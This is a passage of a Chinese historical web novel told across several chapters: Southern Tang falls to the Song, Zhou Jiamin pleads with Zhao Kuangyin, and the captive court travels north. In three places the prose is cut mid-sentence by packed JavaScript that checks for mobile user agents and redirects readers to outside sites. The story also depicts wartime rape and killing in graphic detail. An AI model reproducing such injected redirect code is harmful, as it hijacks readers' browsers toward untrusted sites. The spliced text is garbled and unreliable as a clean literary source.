看着痛苦不堪的李煜和这些后宫姐妹,嘉敏泪落如雨,心头一热抓着李煜的手安慰道:“大家或许不用这般悲观,宋主赵匡胤与我有幼年救护之情,我明日写信去求他撤兵,说不定会有转机!” 李煜喃喃道:“你上次去汴京相求,的确使得他三年不曾对江南用兵,这次或许还可凑效!” 嘉敏点头,心里却没底,不过总归要一试。 大家哭哭闹闹的,到了此刻才有些许放松,李煜枕在嘉敏腿上睡去了,余人也环绕在左右各种入梦。 嘉敏斟酌了一晚上措辞,天亮后就研磨书写寄去汴京。 回信不过十余日,赵匡胤虽对二人之间的情意甚为在意,却依旧坚持帝王无私事,故而不可徇私,夺下江南势在必行。 嘉敏面对满脸殷切期望的李煜,却只能说出‘他拒绝了’这四个字。 宋军已经准备架浮桥渡江,江南的冬天即将来临,偏偏今年又遭逢旱灾颗粒无收。 李煜亲自带人去金陵街头为无家可归之人分发冬衣,后宫妃嫔也前来帮忙。 腊八那天,宫妃们亲自熬煮果粥送给守城将士和百姓果腹。 摇摇欲坠的江南王朝此刻竟有一股万众一心之气势,大家忙了一天回来也不觉得疲累,约好明日再做其它食物馈赠军民。 嘉敏于孤灯下独坐,金陵的一草一木她都那般熟悉,还有那么多的人和她一样害怕即将到来的亡国之祸,愁思半夜,又提笔写了一封信去汴京。 秋芙看过惊慌摇头劝道:“小姐不可!你想救金陵赵公子自然一清二楚,可你以生死诀别相威胁,乃是在毁你们之间的情意,你教他如何受的住?” 嘉敏泣道:“若还有别的办法可保金陵,我怎会如此?于情于理,此举都不妥当,可我还能拿什么当筹码来保自己的家国,渺如微尘的我,又能有什么筹码?” 秋芙无奈,只得任由她如此。 当赵匡胤在密室里读完这封信,桌案上的东西七零八落扫落在地。 石守信听到动静慌忙冲进来,却见他坐在那里全身颤抖,支着头满脸泪痕地道:“嘉敏送了封诀别书信给我,说倘若金陵城破,就和李煜一起自尽殉国。这十多年来我征战天下,没有一天不想着能早日拿下江南好与她团聚,而今只差咫尺之功,她却告诉我要自尽殉国,那我这些年为她所做的一切究竟算什么……我算什么……” 61.四十年来 次年二月,宋军围城。 因赵匡胤再三嘱托要将伤害降到最低,故而曹彬对金陵围而不攻。 而嘉敏也终于接到了回信,却只有寥寥数语:我自多情,何以迫我? 那冷彻骨髓的悲伤失望令嘉敏心如刀绞,此举终究是伤了他的心!可女儿家亦有家国之思,既然家国之情和私情无法并存,那便舍一取一。 屋中炭火正炽,她自箱笼中取出这些年珍藏的信笺,一封封投入火中看着它们烧成灰烬。 秋芙发现时她连最后一封信也烧了,神情空洞的连眼泪也流不出来,心疼地抱住她哭道:“小姐,你为何总是做傻事,伤了赵公子,还要伤你自己?你到底在想什么?” 嘉敏茫然地转头看她,幽幽道:“赵哥哥护了我半辈子,也为我伤心了半辈子,可到头来伤他最深的那个人却是我。我想我该不留痕迹的死去,这样他就不会再睹物思人,接着伤心下去了!” 秋芙皱眉劝导:“情在心中,有没有物都一样,就算你毁去了一切痕迹,剜的走他的心吗?难道说你烧了所有的东西,就不再想他了吗?你敢说自己不想了吗?” “想他?”嘉敏呆呆地道:“我如此待他,还有什么资格再想他?这么多年我除了眼泪,什么都给不了他,最后的书信还是以死威胁。是我毁了这一切,我配不上他的爱意,亦还不起他的深情,只能亲手结束它,想来这也是我对他最大的仁慈了!” 此时远在汴京的赵匡胤表面上并未被私情所困,依旧勤于政事。抛开金陵的战况不提,春闱结束之后照例举行殿试。 只是此次有两名入仕考生文采同样出众,要点谁为状元颇有些犯难。 赵匡胤思虑片刻,对殿上的二人道:“不如这样,你二人在此打一架,谁赢了新科状元就是谁!” 讲武殿上众人目瞪口呆,自来朝廷开科取士,除了武举,考的都是文采,从没听说过争文状元还要打架的,可圣谕如此,只得照办。 虽说二人身形差不多,可那名叫王嗣宗的进士身手很是矫健,向对手拱手行礼之后,竟挥拳如风,瞬间打掉了对方的幞头。 赵匡胤大喜,拍手叫好,问道:“瞧你的身手可曾习过武?” 王嗣宗再拜回道:“臣自幼听家父讲过皇上的故事,耳濡目染,对皇上所创之长拳甚为喜爱,家父就请了武师教授拳法,还学了盘龙棍法和枪法,不过学艺不精,比不上读书好。” 当世武功赵匡胤所创的拳法及枪法威力甚巨,连寻常孩童也会学上几招,王嗣宗倒不是有意讨好他,只是实话实说。 赵匡胤继续问道:“可读过兵书?” 王嗣宗点头道:“臣自幼立志为社稷出力,为万民造福。《孙子兵法》有云:‘兵者,国之大事,死生之地,存亡之道,不可不察也!’故而亦颇有涉猎!” 赵匡胤很是开怀,当下点其为新科状元。 此事在朝堂上掀起不小风浪,连宰相也来过问,自来状元这等文人最高荣誉却靠武力来赢得,岂非贻笑大方? 赵匡胤早料到他会有此一问,笑道:“自唐末以来,天下乱离皆因武将割据称雄之故,朕为稳定朝纲,自然要抑制武力。然则过分抑武并不可取,想那南唐三代崇文抑武,结果如何卿也看到了,大战在即朝中却无可用之将,我大宋若想长治久安,岂能效仿之?治国理政确实需要文臣出力,但如果朕能选出文武双全之辈,何乐而不为?” 赵普不能答,暗中助他平息了朝中的议论,此后举荐之人才也多是文治武功德才兼备,甚得圣心。 转眼至八月,酷暑炎热,军中疫病流行,赵匡胤难免有些焦灼,甚至犹豫着要不要退兵,李煜则趁机派出使臣北上求和。 来人乃是吏部尚书徐铉,此人博学多才,惯是个能说会道的,且将文人士大夫那一套掉书袋的本领学了个十足十,甫一上殿就口若悬河,从尧舜禹汤讲到孔孟老庄,长篇大论连大气也不待喘几口,总结下来就是:“自古圣主以仁治天下,兵者,不祥之器,非君子之器也!陛下肆意用兵有违圣主之道,还请三思而后行!” 赵匡胤起初端坐在龙椅上,后来支起下巴耐着性子听,眉头越皱越紧。 听来使这般引经据典的上奏,大宋的文臣当然不甘示弱,翰林学士陶谷上前道:“阁下张口闭口皆言圣王之治,必然知道‘天地不仁,以万物为刍狗。圣人不仁,以百姓为刍狗’的道理。所谓‘宇中有四大,天大,地大,道大,人亦大’,我主承上天之命,所行乃是受天道指引。攻灭南唐上合天道下顺民情,正是仁义之举,言何不祥?” 徐铉冷哼一声驳斥道:“好一个上合天道下顺民情!难道我南唐的百姓不想着安居乐业一个个自取灭亡不成?你顺的是何方民情?” 陶谷倒也不是无的放矢,正色道:“南唐国主骄奢淫逸,横征暴敛,近年来更是听说连杨柳结絮、鹅生双子都要征税,百姓苦不堪言,皆慕我宋主之高义,体恤民力,有归降之意,我大宋自然是顺江南之民情了。” “此话怕是一厢情愿吧……”徐铉舌战群儒,气势愈盛,又是一番长篇大论。 赵匡胤支着头闭目养神,直到听见他再次向自己陈情:“我江南国主无罪,陛下师出无名!” “哦?”赵匡胤眼皮也不抬一下,本仰慕他江南士大夫之名,而今却觉此人甚是聒噪,废话实在太多,难免有些不耐烦。 徐铉朗声道:“李煜事陛下,如子事父,未有过失,奈何见伐?” 赵匡胤乍然睁开眼,轻飘飘地反问道:“如子事父?既然都这般孝顺了,那父子哪有分家的?” 此言一出,徐铉登时红了老脸,全然没有了方才舌灿莲花的气势,对方这招‘以子之矛,攻子之盾’直教他半晌找不出可以辩驳的话来。 宋廷的大臣更是个个强忍着也无法止住笑声,任凭文人的一张嘴再厉害,那高坐在皇位上之人可不是吃素的,每每出其不意,败在他手下之人千而八百,江南名流又如何?依旧碰了一鼻子灰无功而返。 只不过此时前线的宋军也遭遇了难题,南昌尹朱令赟率十万水师救援金陵。 宋将王明见南唐大军出动,立时上报朝廷,眼见敌我实力悬殊,要打败唐军,怕需加造至少三百艘战船。 赵匡胤淡淡道:“等这三百艘战船造好,朱令赟早救了金陵,不如用疑兵之计,虚张声势,引唐军入彀,或可攻灭之!” 得了皇上锦囊授计,宋军立时趁夜张木为杆,战鼓四起,声势之浩大,好像有十万之众。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491906|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱令赟大惊失色,立时用火攻想要烧毁宋军战船,不多时天却偏偏刮起了西风。 当年赤壁之战,诸葛亮向天借东风火烧曹军,而今的南唐朱令赟却在逆风之地被自己放的火烧了个全军覆没。 眼见南唐大势已去,被围的金陵变成了一座孤城,再不可能有援军前来勤王。 徐铉含泪拜别君王,再度北上汴京哀求宋主罢兵,可任凭他磕破额头,赵匡胤依旧无动于衷,淡淡道:“江南大势已去,你此时要朕罢兵未免有些痴人说梦!” 眼见宋主如此决绝,徐铉起身怒瞪着赵匡胤涕泗横流地嘶吼:“你……你师出无名……不仁不义……恃强凌弱……天理难容……” 见他还要接着骂下去,赵匡胤大怒,拔剑指着他怒喝道:“无需多言!江南并无罪过,可天下一家,分久必合乃是亘古不变的道理。卧榻之侧,岂容他人酣睡!” 徐铉惊骇,想来果真已无力回天,禁不住老泪纵横闭目待死,同行者周惟简吓的跪地求饶。 赵匡胤冷静片刻还剑入鞘,看着徐铉道:“朕初等大位时,曾在大殿之上立下誓约:一则要保全前朝皇族柴氏子孙;二则不杀士大夫;三则不加农田之赋。朕敬重你为国尽忠视死如归,不会取你性命。且回去金陵告诉李煜,念在他多年来一直侍宋甚恭,如若献国投降,免其献俘之礼(牵羊礼),李氏一门之性命不论男女老幼皆由朕保着,若有人敢加害,朕定斩不饶!” 徐铉收了眼泪再拜而出,宋主的这番话他倒是信的过,毕竟赵匡胤连前朝皇帝遗孤都未曾加害,定然更加不会动李煜。 然而他自然不会知道宋主这番话的其它深意:嘉敏在那封的诀别书信提到倘若李煜自杀殉国,自己会跟随而去,那是不是李煜不死,她就也可以活着? 十一月金陵城破,因着皇上之命,主帅曹彬曾在攻城之前立下誓约:“破城之日,不可妄杀一人!” 故而宋军虽浩浩荡荡入了城,躲在家中的百姓却悉数幸免于难。 而李煜在经过痛苦的挣扎和大臣的劝阻之后,决定献国投降,带着家人与大臣北上汴京向宋主臣服。 赵匡胤守在汴京城外等消息,当听到李煜及其家人无一人有损伤,小周娘娘也安然无恙时,一直崩紧的心弦终于松懈下来,顿觉天旋地转,身躯颇有些摇晃,被站在背后的兄弟一把扶稳。 回宫后,他数着日子希望能早些见到嘉敏,可太医来报皇后病情突然加重,怕是不久于人世了。 匆忙来到金泉宫,王鹤儿果然面如枯槁,喝下去的药带着血一起吐出来。 赵匡胤扶着她皱眉问道:“明明前几日还不是这般模样,究竟为何突然恶化?” 王鹤儿躺在他怀里虚弱笑道:“皇上盼了这么多年,终于把周妹妹从江南盼来,臣妾鸠占鹊巢多年,也该到了让位的时候了!” “你说的什么话?”赵匡胤心下一阵难过,多年夫妻纵然没有炙热爱意,可哪里就舍得她这般香消玉殒?想了半晌咬牙道:“鹤儿,若此事是你的心结,那朕与你定一个誓约,就算嘉敏来了,只要你活着一天,朕便不与她亲近,不做对不起你的事,可好?” 王鹤儿惊诧不已,却听丈夫追问道:“你一直都不想输给她的,是不是?” 62.三千里地 受降前数月,南唐的宫殿堆满了木柴,自焚殉国的念头缠绕在李煜和后妃身上。 嘉敏整日恹恹无力,自从互寄了诀别书信以后,赵匡胤再无消息给她,想来亦是心灰意冷。 等来等去,金陵城破,想来大限已至,嘉敏命秋芙帮自己取下钗环首饰,一身素服来到李煜面前,其他人也纷纷都到了。 李煜满脸泪痕牵着众人的手泣道:“终究是要你们陪我一起共赴黄泉!” 火已在宫苑中点燃,众人神色哀戚,难免会觉着害怕。 不过尚未举步赴死,徐玹带着仲愚来了,孩子不过十多岁,跪地哭求父亲上降书以自保,否则自己也不愿意独活,要随着一起去。 李煜原非铁石心肠之辈,又怎舍得这么小的孩子惨死于烈火之中,规劝道:“尔尚年幼,为国赴死不该落到你头上,为父已将你托付给可靠之人,以后你就离开宫廷隐姓埋名安安稳稳度过一生。为父无能,已是唯一能为你做的事情了。” 徐玹叹息道:“国主,如今天下大势已在赵宋,实非你之过!再则那宋主倒是颇有几分仁德之心,不若归降吧,臣愿伴君左右,做俘虏就一起做。人生不过短短数十载,扛一扛就过去了!” 这老臣从来都不是贪生怕死之辈,如今这般规劝他,亦算是用另一种方式为主尽忠了。 大火依旧在庭前焚烧,李煜看着自己年幼的孩子,又转头看向宫妃嫔妾,这些容颜如花的女子都陪伴了他多年,拉着她们一起寻死,想来也太过自私,思虑半晌闭目道:“我答应,上降书!” 宋将曹彬接了降书之后大喜过望,却也不忘约束兵将入宫后不得枉杀一人之铁律。 可自从宋军涌入宫中,迅速反客为主,到处掳掠财宝和宫女,甚至在光天化日之下大肆奸.淫,充耳尽是凄厉惨吼。 李煜等人犹如惊弓之鸟,抱在一起不敢出寝宫一步,幸好后来宋军统帅出面约束部下,情势才有所好转。 自来征战,女人和财宝皆属战利品,除了宋军的喧闹声,南唐旧人都像死一般沉寂,而李煜更是犯了惊悸之症。 以往他都是以茯苓霜解此症,可寝宫里的用完了。窅娘对他爱意很深,就冒险前去医药局取药,身边跟着对国主忠心耿耿的太监李光。 可两人刚出寝殿不久就被人拦下了,宋兵问她们想要做什么,窅娘想着是国主生病,他们好歹会有所顾及,便请求前去取药。 然则宋兵觊觎她的美貌,问她是不是李煜妃妾,叫什么名字。 窅娘虽然害怕,却也只能据实以答。 不想宋兵哈哈大笑道:“就是那个会跳舞的?听说李煜还为你造了个莲花台,你要去取药也不难,也跳段舞给哥几个看看,跳的好就放你去!” 窅娘心知这些人不过是拿她取乐,可为了能够拿到茯苓霜,只得忍辱在莲花台上跳她最熟悉的《采莲舞》。 宋兵哪里见过这般倾城舞姿,简直一眼勾魂,全都看呆了。 窅娘舞过一段,款款下拜道:“几位大哥,可容我前去取药么?” 可宋兵这时更加不想放过她,遂挥手道:“你接着跳,让这太监去!” 眼见李光想要上前求情,窅娘唯恐节外生枝,紧张地摇了摇头,叮嘱道:“你快去快回!” 李光无奈,只得撇下窅娘,自行前去医药局。身后传来宋兵不堪入耳的调笑,而窅娘又被迫登上莲台含泪起舞,他咬牙匆匆跑去取药,又匆匆跑回来。 窅娘已经不跳舞了,宋兵将她从莲花台上拉下来,强行灌酒给她喝,还撕扯她的衣裳。 李光慌忙上前跪地求饶:“几位大哥行行好,窅娘自小孤苦伶仃的给人为奴为婢,你们都是英雄好汉,放过她这个弱女子,连菩萨也会感念你们的恩德的!” 宋兵哪里会理会他,继续抓着窅娘作乐,李光不得已上前想要推开他们,反倒被一脚踹翻在地。 李煜看了这情形,想要出来搭救,被周夫人拦下,皱眉道:“如今我等皆是俘虏,国主去了怕也无济于事,还是我去吧!我一个老太婆,谅他们也不会把我怎么样!” 嘉敏放心不下,想要跟来,被秋芙抱住。 周夫人从怀中拿出一些珠宝首饰,过来莲花台这边,给那几个宋兵分发求情。 宋兵拿了她的财物,却依旧不肯放人,狞笑道:“这小娘们儿已经逗过了,不如再逗逗这老婆子!你趴在地上学狗叫,转上几圈儿,哥几个就答应放了你们!”说完哈哈大笑。 周夫人迟疑,宋兵却一脚将她踹翻,吼道:“叫啊——” 嘉敏甩开众人跑出来大喊:“娘——娘——” 宋兵眼都看直了,指着她道:“这里还有个更美的……” 周夫人大骇,慌忙起身把女儿抱在怀里大声道:“我女儿与大宋皇上情意深厚,你们若敢伤了她,皇上不会放过你们的!” 几名宋兵登时会过意来,小声嘀咕道:“上面确实交代过,那李煜之妻周氏不可有丝毫损伤,走吧走吧,反正也闹够了,别惹麻烦……” 这些话听在周夫人耳朵里,想着赵匡胤果然对嘉敏不曾忘情,心底暗暗松了口气。 此后众人益发小心了,除了李煜的寝宫之外也不去别的地方,终日战战兢兢如履薄冰。 北上的日子来了,一行人上车之前发现少了仲愚。 李煜忽然想到儿子这几天一直说临行前想去和母亲告别,大概是去了瑶光殿。 而嘉敏大约知道宋兵不会为难她,就前去寻找,秋芙不放心,跟着一起去了。 两人虽找到了仲愚,可在回来的路上却遭遇了两名喝醉的宋兵。 其中一个笑吟吟地指着嘉敏道:“我认得你,你是李煜的那个老婆,以前是他小姨子。这长的可真水灵,难怪李煜脸都不要了,定要纳你入宫!” 另一人把他的手臂打下去,提醒道:“你放尊重些,皇上说了,不得对小周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497344|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘无礼,还不快点让开!” 那宋兵讪讪地挥手:“走吧走吧!” 三人赶快低下头匆匆跑开,秋芙与那好色的宋兵擦肩而过,宋兵的眼眸在面上一扫,突然抱住她的腰狞笑道:“娘娘碰不得,丫鬟也碰不得么?” “小姐……小姐救我……”秋芙惊恐地大声哭喊,厮打那拖着她往寝殿里走的宋兵,可却像鸡蛋碰在石头上一样,怎么挣扎都是徒劳。 “秋芙……秋芙……”嘉敏上前想要去救她,刚跑了几步却踉跄摔倒在地。 仲愚冲过去厮打,也被踢翻。 见宋兵扯开秋芙的衣裳要凌辱她,嘉敏惊恐万分,手撑着地想要站起来,却突然摸到了一把丢弃在地上的刀,一时间她竟也不曾多想,举起刀冲上去捅了那宋兵,不想正中要害。 狂暴的宋兵哪里会想到这娇弱的女子居然会持刀行凶,回头望了她一眼,倒在地上死不瞑目。 另一个宋兵见兄弟被杀了,一时怒火中烧,也不管嘉敏是皇上下令要保的人,居然骂骂咧咧拔刀砍向她的脖子。 危机之际忽有一黑衣刀客出现,自背后劈了那士兵。 顷刻间就死了两个人,一小队宋兵上前将他们包围,那黑衣刀客却不慌不忙从怀中取出一块令牌举起来道:“本将接的是皇上密令,敢对周娘娘无礼者,杀无赦!” 宋军见了令牌纷纷放下武器跪倒在地,黑衣客扶着魂不守舍的嘉敏回到南唐众人身边。 李煜见嘉敏素衣之上血迹斑斑,还在他面前昏了过去,慌忙将她抱上马车,喂水给她喝。 秋芙遂将方才发生之事尽数说出来,若非那黑衣客从天而降及时解救,只怕她们三个都要命丧黄泉了。 李煜听罢想着那宋主如此顾念与嘉敏的旧情,倒也算得上是一件好事。 可嘉敏一直是娇养的闺阁女子,就算幼时随赵匡胤漂泊江湖,也一直被悉心照料着,哪里见过杀人的血腥场面?如今自己竟成了行凶之人,一时大受刺激,躲在母亲怀里瑟瑟发抖。 车马上路,很快驶出金陵,初春时节杨柳尚未冒出新枝,到处枯黄一片,千里江南也不见半点生气。 嘉敏一直昏昏沉沉的,也不知一共走了几天,醒来时见众人纷纷在帐篷里掩面哭泣,茫然问道:“娘,怎么了?” 周夫人失魂落魄了半晌才缓缓道:“方才宋兵派人送来口信,说那两个人不能白白死了,定要我们给出交代!” “什么交代?”嘉敏心底顿时冒出一股寒意,有赵匡胤的密令在,这些宋兵根本不敢动她,还要如何交代? 段贵妃满脸泪痕抬首道:“他们说大宋皇帝的命令是凡国主家有名有分之人皆不可加害,却没说不能加害没有名分之人,两条命他们给我们打个对折,用一条来换就行!” “他们要谁的命?”嘉敏的心砰砰直跳,不过片刻已想出了答案,“一起被押上囚车的李家人,唯一没有名分的人是——” 63.如梦如梦 苎萝溪上采莲女,一曲清歌惊醒了睡卧溪头垂钓的富贵公子,公子凝视着她,不过片刻竟吟出一首即兴所作的新词。 两人一见倾心,可这采莲女却是卖身酒楼的歌妓,幸得公子怜惜以千金为其赎身,采莲女这才知道他竟是江南的太子。 皇家规矩大,怎能接纳一个酒楼歌妓?就算太子排除万难将她接进宫,也只能做一个无名无份的嫔妾。 可对采莲女而言,有没有名分并不重要,能与夫君在一起已心满意足,那时候的她从未想过没有名分有一天竟会成了她的夺命符! 宋兵自皇帝的诏令中找出了漏洞,没名没分就算不得李家人,于是他们在黄昏时刚扎完营帐就来抓走了采莲女。 李煜冲出来想要救她,可一介文弱书生如何对付得了征战多年的士兵? 宋兵如看戏一般瞧着这对苦命鸳鸯被重重阻隔,无论如何也走不到一起去,堂堂江南国主连发冠都被人打落了,皆仰头哈哈大笑。 窅娘哭求道:“各位大哥,就算是死囚行刑前也有一碗断头饭可以吃,求你们容我与夫君道声别,妾身感激不尽!” 她本是个我见犹怜的美人,又这般泪盈盈的苦苦哀求,宋兵有些架不住,挥挥手道:“快点!”遂命人放了他们。 二人扑过来抱住对方痛哭不止,窅娘含泪带笑道:“妾身福薄,大约是不能陪夫君到汴京去了,记得夫君总喜欢在花树下吹笛,看妾跳舞。夫君可否再吹最后一曲,让妾为你跳最后一支舞?” 李煜涕泣如雨点头答允,许是词人总有太多情愁,他的碧玉短笛总是随身携带,是少年时已养成的习惯,只没想到有一天会用它与深爱的女子诀别。 窅娘的衣袂如雪片般飘飞,曼舞莲歌,轻若柳絮,柔似落花,想来天仙下凡也不过如此。 李煜吹着曲子再三回环,不敢停也不愿意停,这样就算窅娘会跳累,可至少他们还能多望着彼此一会儿。 宋兵虽大多都是莽夫,可也知道一首曲子不该有这么长,看破了二人的小把戏就无情地打断。 窅娘被带头之人抓过来搂在怀里,一张满是厚茧的手重重摸在她脸上狰狞笑道:“这般天仙模样的美人,咱们本就没想着一刀杀了了事,今晚谁有兴致谁就来玩儿个够,都不必省着力气!”说完哈哈大笑把窅娘拖进了帐中。 李煜厉声嘶吼,几个宋兵却架着他不令他靠近。 他听见窅娘惨叫了几声,后来却不出声了。 那深爱着他的女子恐他听见后会痛苦难过,咬破了嘴唇强行忍着。 一个个宋兵走进去又走出来,整整一个晚上都不曾停歇,甚至有人去了好几次。 他们轮流来抓住李煜,还将帐中发生的事不断在他耳边重复,问他想不想进去看,如果想进去就不拦着了。 李煜全身瘫软跪倒在地,身边只有那个被打的遍体鳞伤的太监李光。 主仆二人哀哭一个晚上,终于等到天亮,没有宋兵再靠近帐篷,因为里面的女子已经断气了。 李煜挣扎着走过去,隔着帘帐看到窅娘柔白的躯体上布满伤痕,失声大喊:“拿衣裳来!去拿衣裳来!” 李光立时明白过来,跌跌撞撞朝着关俘虏的帐篷跑去,刚进去就扑通一声跪倒在地。 嘉敏颤声问道:“窅娘呢……窅娘呢……” 李光大哭不止,断断续续把话说清楚:“那些宋兵……凌辱了窅娘一夜……她死了……赤身裸体躺在肮脏的帐篷里……国主……国主命我回来拿衣服……” 帐中的女子瞬间全都哭起来,段贵妃用手捂住嘴不停地摇头,没有人愿意相信昨天还好好陪在身边的姐妹,一夜之间竟会惨死。 嘉敏站起身朝外面走,周夫人大惊道:“嘉敏,外面都是豺狼,你不能出去呀!” 嘉敏木然落着泪,吩咐道:“秋芙,找件干净的衣服来,我要去给窅娘收尸!” 秋芙慌忙把衣服拿出来,周夫人还想阻拦,却听女儿道:“那些宋兵不敢把我怎么样的,毕竟他们还怕着那大宋的皇帝!” 周围的宋兵却依旧在拿昨晚之事取乐,甚至还谈起了是哪几个人结对一起进去的。 李煜从泥地里捡起一根枯枝大叫着冲过去打人,宋兵一个个闪开,他谁也打不着,却不肯停歇,周围一阵哄笑。 有宋兵道:“你好歹也是个国主,有那么多貌美如花的老婆,这死的不过是一个歌妓而已,有什么好发疯的?” “一个歌妓?”李煜红着眼眶冷笑道:“窅娘不过是家境贫苦才卖身酒楼当歌妓,她五岁就开始学跳舞,想着能把自己卖个好价钱好为父亲治病。一个弱女子受尽世间苦难,我本以为自己是那个解救她出火坑的大丈夫,最后却眼睁睁看着她惨死在你们这群畜生手中!你们……你们家中难道没有妻女和姐妹吗?天道轮回,你们今日犯下如此罪孽,它朝必定报应在家人身上,你们全都不得好死……” 凶徒作恶多端,却最怕听别人诅咒,骂骂咧咧上前道:“老子先教你堂堂江南国主趴在地上当条灰头土脸的狗,看看是谁先不得好死!” 话音落一脚踢在李煜膝盖上,李煜吃痛,登时要倒下,却突然被人抱住腰身勉强站住。 来的是嘉敏,宋兵看她满眼是泪恶狠狠瞪着他们,那冰冷的目光像刀子一样,教人禁不住颤栗,加上都知道她的身份,当下无人敢造次,挥挥手一溜烟作鸟兽散。 两人相互搀扶着走进帐篷,嘉敏一抬眼惊见窅娘的惨状,遍身伤痕触目惊心,连做女子的最后一丝尊严也失去了。 她眼前一黑,差点昏死过去,可眼下必须先把窅娘带回去才行。 李煜解下自己的衣袍把窅娘裹起来抱出去,走了没几步禁不住仰头大叫,一声声接连不断,凄厉到连周围的鸟雀也惊飞了。 听到声音的南唐宫人纷纷大哭不止,段贵妃起身便要出去,被黄保仪拦下,“你出去了,万一宋兵把你也抓了怎么办?” 段贵妃嘶吼道:“窅娘她是我的姐妹呀!她死的那么惨,难道我能不管不顾么?” 黄保仪无言以对,泪珠也一下掉下来,抓住她的缓缓道:“好,我陪你去!” 帐中的女子全都站起来,握紧了手,要去把自己的好姐妹接回来。 这般走出去,不出意外被守卫的宋军阻拦,可她们铁了心握着手向前走,守卫拔出刀也不能止。 这时黑衣客从天而降冷冷道:“我来替你们开路!” 守卫知道他手上有皇上给的令牌,对视几眼默默让开。 一行人跑去李煜身边,见他眼角竟流出了血泪。 黄保仪顾不得伤心道:“李公公,麻烦你打些水,我们给窅娘洗澡,让她干干净净的走!” 众人回了帐篷,开始为窅娘梳洗,眼见她身上的皮肉没有一块是好的,都哭的抽搐。 黄保仪勉强出声道:“大家小心一些,别弄疼她了!” 清水冲洗着已毫无生气的躯体,洗了好多遍,才为她穿好干净的衣裳。 李煜木然坐在帐外,似乎已经当自己死了。 黑衣客寻来三把铁锹递给他道:“军队很快就要拔营,不想她被弃尸荒野的话,快去找个地方挖坑把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504681|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她埋了,我去找副棺材。” 李煜这才提起精神,慌忙随李光一起去挖坟。 从未干过这等粗活的富贵公子虽然卖力却挖的乱七八糟,黑衣客把棺材放在地上叹息道:“我看见那边有很多花,窅娘应该很喜欢花,你去采一些,给她立一座花冢吧!” 李煜遂去采来许多鲜花,回去帐篷把窅娘抱出来放进棺材里,又将自己的碧玉短笛放在窅娘身边,嘉敏也取下自己的香囊,段贵妃拿出出阁时的金钗,秋芙赠了自己编的朱红腕绳…… 下葬后坟茔上撒了许多鲜花,李煜用金错刀书为她刻下墓碑,此书法是他独创,世间没有第二个人会写,将来若想为她迁坟,大约还可以找得到。 宋军在不远处催促,纵然心摧神伤终究无可奈何。 将行时,李煜看向黑衣客问道:“这位侠士,你既然手握皇令,为何之前不出来救一救窅娘?” 黑衣客站住脚冷冷道:“皇令只命我保护周娘娘安然无恙,其他人与我无关,不管是谁出事我都不会救,尤其是你李煜!”不待对方反应过来,指着那群宋兵道:“你道征战沙场的士兵都是些什么人,若非为了金银财宝和女人,谁会如此卖命?自古以来哪一场战争的结果不是无数妇人被欺凌?江南国灭,难道你身为国主没有责任么?你继位不过数年,江南赋税增加了十倍不止,有多少百姓把女儿卖进了妓院你数过没有?怎么,你李煜的女人是女人,寻常百姓家的女儿就是草芥么?你以为自己奢侈享乐所作下的恶,会比这些士兵少么?”言罢冷哼一声飘然而去。 乍听此言,李煜如遭雷击,身躯恍了几恍,由李光搀扶着才勉强站稳。 国主不是他想当的,南唐宫廷的奢华生活自他幼时便如此,却未曾想过一切全都错了。 身居高位者奢侈享乐便是罪过,而今沦落到这般地步可真是报应,只是可怜了无辜的窅娘! 马车驶离营地,花冢渐渐看不见了,那柔艳如花的女子也自随风远去,却无数次出现在故人的梦里。 自那以后李煜夜间常惊悸,不停地喊窅娘的名字。 一天晚上他做了一个很长很长的梦,梦里的他在吹笛,窅娘依旧在为他起舞,曲子很长,因为他知道曲终人将散。 可那曲子还是乍然间吹到了结尾,窅娘莲步轻移,柔柔地扑入他怀中,仰起头,眸中尽是似水柔情。 李煜抬手摸着她那娇艳的脸庞道:“窅娘,你把我带走好不好?” 窅娘却坚定地摇头:“你的身边还有周娘娘、段贵妃、黄保仪和秋芙她们,我若带走了你,她们还能依靠谁?有一个窅娘已经够了,夫君,你定要好好活着,莫再让跟在你身边的人受屈!” 天光渐白,太阳光刺进眼睛里,李煜眉心紧蹙缓缓醒来。 这场梦他的确做了很久,睁开眼已然身在汴京。 颠簸数千里来到此处,连嘉敏也木然到不再为即将到来的重逢抱有任何希冀,随着李煜步入那九重宫阙,低眉垂首跪拜朝见。 赵匡胤目光停留在她身上,甚至忘记了言语,还是曹彬大声道:“臣曹彬携南唐败军降将叩见皇上,吾皇万岁万岁万万岁!” 接连喊了几次,赵匡胤才回过神来,道:“平身!” 一行人全部站起来,嘉敏却依旧没有抬头。 赵匡胤心知国破家亡对任何人而言都是深重的痛苦,也不知此刻的她对自己究竟是旧情未了还是惊惧怨恨。 